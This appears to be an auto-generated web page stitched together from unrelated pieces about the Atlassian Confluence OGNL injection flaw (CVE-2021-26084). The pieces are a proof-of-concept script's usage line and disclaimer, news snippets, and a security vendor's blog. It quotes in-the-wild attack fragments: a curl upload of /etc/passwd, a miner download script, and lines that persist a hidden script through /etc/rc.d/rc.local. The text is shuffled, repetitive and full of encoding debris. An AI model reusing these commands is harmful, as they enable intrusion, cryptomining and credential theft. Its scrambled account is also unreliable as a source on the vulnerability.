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1. #Confluence server webwork ognl injection update#
2. #Confluence server webwork ognl injection Patch#
3. #Confluence server webwork ognl injection code#

#Confluence server webwork ognl injection code#

The vulnerability enables arbitrary injection of OGNL code which can be used to achieve remote and arbitrary code execution.

$ python3 Confluence_OGNLInjection.py -u -p /pages/createpage-entervariables.action?SpaceKey=x An OGNL injection vulnerability exists that allows an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerability exists in Confluence’s use of OGNL (Object-Graph Navigation Language), a scripting language for interacting with Java code, in the tag system. $ python3 Confluence_OGNLInjection.py -u or The proof of concept demonstrated in this repository does not expose any hosts and was performed with permission. I disapprove of illegal actions and take no responsibility for any malicious use of this script. This exploit is only intended to facilitate demonstrations of the vulnerability by researchers.

In contrast, on average, organizations need 12 hours to see vulnerable systems, which assumes the enterprise knows about all assets on its network. Jonathan Greig is a journalist based in New York City. An OGNL injection has been reported in the Webwork module of Atlassian Confluence. This was presumably to avoid fuelling any future attacks before businesses had a chance to apply the fix. Confluence Server OGNL injection remote code execution vulnerability. The 2021 Cortex Xpanse Attack Surface Threat Report found that malicious actors start scanning within 15 mins following CVE disclosures. US Cybercom says mass exploitation of Atlassian Confluence vulnerability ongoing and expected to accelerate IT leaders have taken to Twitter to confirm that the exploitation is ongoing globally. The firm had never publicly revealed the precise exploit mechanisms, though, beyond describing the flaw as a Confluence Server Webwork OGNL injection. A continuous and updated view of an attack surface can help organizations in their rapid response to new CVEs. Some organizations respond well to this vulnerability, but others are likely unable to identify all of their exposed servers and take them down. Our preliminary research found over 40 educational institutions and over 90 state and local governments with potential exposure to this CVE.įig 1: Number of Vulnerable Atlassian Confluence Servers on the internet start decreasing after the announcement of the CVEĬortex Xpanse also identified a rapid decrease in Atlassian Confluence servers vulnerable to CVE-2021-26084.

#Confluence server webwork ognl injection Patch#

While Cortex XDR on Linux can block this exploit, Palo Alto Networks recommends that customers upgrade and patch vulnerable versions of Atlassian Confluence, as a best practice to secure their systems.īecause Palo Alto Network’s attack surface management solution Cortex Xpanse regularly scans the entire internet for known and emerging vulnerabilities, we were able to quickly identify organizations exposed to this vulnerability. Without requiring any additional user input, starting from content version 196-69754, Cortex XDR on Linux automatically blocked all these attacks-maintaining the integrity and confidentiality of the vulnerable servers. If ! grep rsyslogds.sh /etc/rc.d/rc.local >/dev/null thenĮcho " Adding $HOME/c3pool/miner.sh script to /etc/rc.d/rc.local"Įcho "/usr/sbin/.rsyslogds.sh >/dev/null 2>&1" >/etc/rc.d/rc.localĮcho "Looks like $HOME/c3pool/miner.sh script is already in the $HOME/.profile"ģ-Interactive reverse shell on the machine:

#Confluence server webwork ognl injection update#

(curl -fsSL -q -O - an excerpt from the downloaded script: Confluence Server Webwork OGNL Injection Vulnerability (CVE-2021-26084) Update as of September 8th: FortiGuard Labs released the following IPS signature. This module has successfully blocked numerous attacks targeting customers’ endpoints.Ī few examples that we saw of prevented real life in the wild attacks:ġ- Attempts to upload the customer’s passwd files:Ĭurl -X POST -data-binary 2-Attempts to directly execute a script that downloads a miner: To protect Linux hosts, Cortex XDR added a dedicated module to detect and prevent Java deserialization vulnerabilities and vulnerabilities such as those that allow one to inject OGNL expressions in Cortex XDR agent 7.0 and higher running under Linux. OGNL expression evaluation can lead to arbitrary code execution, as was seen in the past with a similar Apache Struts vulnerability (CVE-2019-0230), and this case is no different.

Recently, a new OGNL (Object-Graph Navigation Language) expression injection vulnerability was discovered in the Atlassian Confluence framework.